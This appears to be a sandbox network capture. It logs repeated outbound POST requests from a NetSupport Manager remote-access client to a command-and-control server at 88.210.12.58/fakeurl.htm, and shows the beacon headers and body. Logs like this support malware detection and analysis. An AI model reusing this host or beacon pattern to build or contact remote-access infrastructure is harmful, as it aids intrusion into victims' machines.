Dec 6, 2024 10:41:58.082007885 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:58.183809042 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:58.282018900 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:58.382890940 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:58.483782053 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:58.585777044 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:58.689806938 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:58.790956020 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:58.888914108 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:58.991801023 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:59.089138031 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:59.189970970 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:59.290906906 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:59.391948938 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:59.491926908 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:59.592953920 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:59.693986893 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:59.793927908 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:59.894906998 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:59.994918108 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:00.095952034 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:00.195930004 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:00.296916008 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:00.397773981 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:00.497919083 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:00.597924948 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:00.700360060 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:00.801775932 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:00.901947021 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:01.001920938 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:01.102926016 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:01.203969002 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:01.304946899 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:01.405950069 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:01.505960941 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:01.605962038 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:01.707020044 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:01.807964087 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:01.909020901 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:02.008930922 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:02.108977079 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:02.209942102 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:02.313841105 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:02.410936117 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:02.513811111 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:02.613787889 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:02.714003086 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:02.820795059 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:02.922849894 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:03.234738111 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:03.336174965 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:03.435931921 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:03.535949945 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:03.636022091 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:03.736968994 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:03.837023973 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:03.937971115 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:04.037959099 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:04.138971090 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:04.241816998 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:04.341841936 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:04.439934015 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:04.541827917 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:04.639935017 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:04.741009951 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:04.841941118 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:04.943006039 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:05.043222904 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:05.143944025 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:05.243969917 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:05.344984055 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:05.445940971 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:05.546969891 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:05.647006035 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:05.714858055 CET	920	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAgPOST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAgPOST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAgPOST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:05.748038054 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:05.848984957 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:05.948932886 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:06.050050974 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:06.150986910 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:06.253354073 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:06.353843927 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:06.452980042 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:06.553961039 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:06.657833099 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:06.754959106 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:06.856086016 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:06.956033945 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:07.055979967 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:07.155987978 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:07.257097006 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
